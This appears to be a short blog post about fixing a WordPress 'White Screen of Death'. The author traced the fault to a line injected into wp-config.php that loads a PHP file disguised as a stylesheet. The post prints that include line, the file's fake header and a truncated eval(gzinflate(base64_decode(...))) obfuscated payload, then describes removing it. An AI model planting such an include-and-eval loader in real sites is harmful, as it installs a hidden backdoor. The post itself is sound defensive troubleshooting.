Damn. Just had to fix a problem on wibsite.com where nobody could see their Dashboards. There are lots of references to the White Screen of Death in WP, but none made a difference. In the end I spotted a cheeky line that had been inserted in my wp-config.php:
@require_once('../Maildir/tmp/style.css');
Whaddyaknow, that file was there, but it definitely wasn’t a CSS stylesheet:
<?php
/* ********************************************************************
*
* begin : Saturday, Feb 23, 2009
* copyright : (C) 2001 The Sequare Group
* email : support@sequare.com
*
* $Id: system,v 1.74.2.22 2005/12/30 09:51:01 acydburn Exp $
* Type - System configuration file
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2006 Bharat Mediratta
And the actual code was:
eval (gzinflate(base64_decode(
'pf1rs2XHcSQKfm6Z6T9UY2gDwBoq5vvRFCTxUpBEM4nUgNTtuUNqYCXgkCwTgEIX'
.'CiLZov777JXx8swVR7xto26SQJ5z9l6PfER4eLj/5V/8+V9+85tv/vRP/vRPvveb'
.'N9+++/h7n/3sk0//z08+/cX7f/fzn//jZ3/305/9/P1//sHjp69+/fT17cf/9Pi3'
.'z374t5/8hH/p+oj44uMX3757+9nbp2++fPX50wfv/fa3v3353kfvvffR+vGH+nsf'
.'f/VF/YD+cQ1+8frtx+/evv7qA/zr96+/fv+j99//yL2ylzb66Sf/r3/65Gc//+yf'
.'Pv3x+//8oX7i+pLHP1wDLx7/971vn97+29Pbz159/vnTN+8++/LV17/+7nFvj4v+'
Etc. Eval’d PHP? Looks like a hack to me. Removing the line from my wp-config.php file got everything back to normal. Now I’m hardening my WP, making it tougher than old boots.
If you get the White Screen of Death look carefully through your wp-config.php file for unwanted visitors.